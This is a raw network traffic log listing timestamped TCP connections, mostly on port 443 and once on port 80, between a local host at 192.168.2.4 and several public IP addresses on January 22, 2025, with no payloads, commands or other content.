Jan 22, 2025 06:33:54.395004034 CET	443	49767	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:54.395152092 CET	443	49767	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:54.395431995 CET	49767	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:54.395735979 CET	49767	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:33:54.395777941 CET	443	49767	104.18.94.41	192.168.2.4
Jan 22, 2025 06:33:55.776722908 CET	80	49741	217.18.85.38	192.168.2.4
Jan 22, 2025 06:33:55.776896000 CET	49741	80	192.168.2.4	217.18.85.38
Jan 22, 2025 06:33:55.845443964 CET	49741	80	192.168.2.4	217.18.85.38
Jan 22, 2025 06:33:55.850632906 CET	80	49741	217.18.85.38	192.168.2.4
Jan 22, 2025 06:33:59.498441935 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.498509884 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:59.498596907 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.498807907 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.498831034 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:59.958668947 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:59.959001064 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.959042072 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:59.959368944 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:59.959918022 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.960024118 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.960031986 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:59.960108042 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.960159063 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:33:59.960311890 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:33:59.960369110 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:34:00.206679106 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:34:00.206732988 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:34:00.206757069 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:34:00.206820965 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:34:00.206919909 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:34:00.206919909 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:34:00.206919909 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:34:00.208053112 CET	49770	443	192.168.2.4	104.18.95.41
Jan 22, 2025 06:34:00.208076954 CET	443	49770	104.18.95.41	192.168.2.4
Jan 22, 2025 06:34:00.220257044 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.220295906 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.220407963 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.220727921 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.220747948 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.684804916 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.726243973 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.726284981 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.726876020 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.748756886 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.749048948 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.760047913 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.807348967 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.865533113 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.865592957 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:00.867975950 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.915421963 CET	49771	443	192.168.2.4	104.18.94.41
Jan 22, 2025 06:34:00.915456057 CET	443	49771	104.18.94.41	192.168.2.4
Jan 22, 2025 06:34:01.115191936 CET	443	49758	2.16.164.19	192.168.2.4
Jan 22, 2025 06:34:01.115402937 CET	443	49758	2.16.164.19	192.168.2.4
Jan 22, 2025 06:34:01.115468025 CET	49758	443	192.168.2.4	2.16.164.19
Jan 22, 2025 06:34:01.115567923 CET	49758	443	192.168.2.4	2.16.164.19
Jan 22, 2025 06:34:01.115606070 CET	443	49758	2.16.164.19	192.168.2.4
Jan 22, 2025 06:34:01.115633011 CET	49758	443	192.168.2.4	2.16.164.19
Jan 22, 2025 06:34:01.115675926 CET	49758	443	192.168.2.4	2.16.164.19
Jan 22, 2025 06:34:07.857623100 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:07.857664108 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:07.857742071 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:07.857810020 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:07.857902050 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:07.858124971 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:07.858133078 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:07.858166933 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:07.860430002 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:07.860454082 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:07.860470057 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:07.860650063 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:07.860663891 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:07.860997915 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:07.861016989 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:08.343009949 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:08.347867966 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:08.347888947 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:08.349030018 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:08.349632025 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:08.349812031 CET	443	49774	104.17.24.14	192.168.2.4
Jan 22, 2025 06:34:08.394680023 CET	49774	443	192.168.2.4	104.17.24.14
Jan 22, 2025 06:34:08.450994015 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.451273918 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.451283932 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.454822063 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.454894066 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.455245972 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.455389023 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.455394030 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.455445051 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.467138052 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.467500925 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.467570066 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.469023943 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.469098091 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.469517946 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.469608068 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.503580093 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.503585100 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.519438028 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.519501925 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.549824953 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.565999031 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.719160080 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.765548944 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.765559912 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.766267061 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.766355038 CET	443	49772	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:08.766421080 CET	49772	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.768402100 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:08.811351061 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.054382086 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.108232021 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.119136095 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.120570898 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.120642900 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.120676994 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.121119976 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.121182919 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.121201992 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.123678923 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.123725891 CET	443	49773	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.123750925 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.123789072 CET	49773	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.141231060 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.141288996 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.141362906 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.141554117 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.141576052 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.734812975 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.735210896 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.735285997 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.736860037 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.737049103 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.738109112 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.738208055 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.738332033 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:09.738349915 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:09.782963991 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.061980963 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.109479904 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.109553099 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.128402948 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.128618002 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.128683090 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.170958042 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.171022892 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.171571016 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.171874046 CET	443	49775	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.171972990 CET	49775	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.174227953 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.174287081 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.174376965 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.174570084 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.174585104 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.786354065 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.788355112 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.788388014 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.789863110 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.789936066 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.790396929 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.790474892 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.790570974 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.790597916 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.833173990 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:10.833204031 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:10.879443884 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.081316948 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.124167919 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.124197006 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.170053005 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.170084000 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.224904060 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.237845898 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.237879038 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.237898111 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.237941027 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.237943888 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.237967014 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.237993956 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.238006115 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.238022089 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.238037109 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.238086939 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.238107920 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.238126040 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.238162041 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.238188982 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.238198996 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.238248110 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.238270044 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.285917997 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.285938025 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.286261082 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:11.286338091 CET	443	49776	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:11.286402941 CET	49776	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.154179096 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.154232025 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.154318094 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.154654980 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.154689074 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.155009031 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.155175924 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.155190945 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.155637980 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.155679941 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.155755997 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.156341076 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.156356096 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.156562090 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.156577110 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.738616943 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.740313053 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.740358114 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.741808891 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.741895914 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.742255926 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.742337942 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.742468119 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.742501974 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.749631882 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.749946117 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.749963045 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.751009941 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.751070023 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.751929045 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.751976013 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.763684988 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.763962984 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.764002085 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.764301062 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.764692068 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.764740944 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.782056093 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.782064915 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.797786951 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.797804117 CET	443	49781	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:12.813060999 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.828201056 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:12.844968081 CET	49781	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.047128916 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.088099003 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.088126898 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134226084 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134252071 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134341955 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.134354115 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134381056 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.134383917 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134412050 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.134416103 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134423018 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134432077 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.134449005 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.134473085 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.134486914 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.203552008 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.203591108 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.203608990 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.203654051 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.203675032 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.203694105 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.203695059 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.203768015 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.203779936 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.203824043 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.203830004 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.220844030 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.220889091 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.220977068 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.220990896 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.221040010 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.221050978 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.221057892 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.263309002 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.451911926 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.452088118 CET	443	49779	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.452159882 CET	49779	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.477624893 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.477646112 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:13.477716923 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.477962017 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:13.477987051 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.072953939 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.073400974 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.073465109 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.074498892 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.074573994 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.075741053 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.075809956 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.076097012 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.076113939 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.126104116 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.410403013 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.412035942 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.412112951 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.412132978 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.454886913 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.454910994 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.455173969 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:14.455519915 CET	443	49786	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:14.455600977 CET	49786	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:16.875166893 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:16.875225067 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:16.875309944 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:16.875682116 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:16.875691891 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.474936008 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.475220919 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.475234032 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.476207018 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.476257086 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.476583958 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.476629019 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.476690054 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.476696968 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.517885923 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.791604996 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.846702099 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.914091110 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.914369106 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.914376974 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.914448023 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.914462090 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.923681021 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:17.923717022 CET	443	49802	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:17.923774958 CET	49802	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:18.577243090 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:18.577243090 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:18.577433109 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:19.683506012 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:19.729609966 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:19.749207020 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:19.749785900 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:19.750976086 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:19.751024961 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:19.763117075 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:19.763186932 CET	443	49780	173.46.80.217	192.168.2.4
Jan 22, 2025 06:34:19.763259888 CET	49780	443	192.168.2.4	173.46.80.217
Jan 22, 2025 06:34:19.846209049 CET	49810	443	192.168.2.4	173.46.80.217
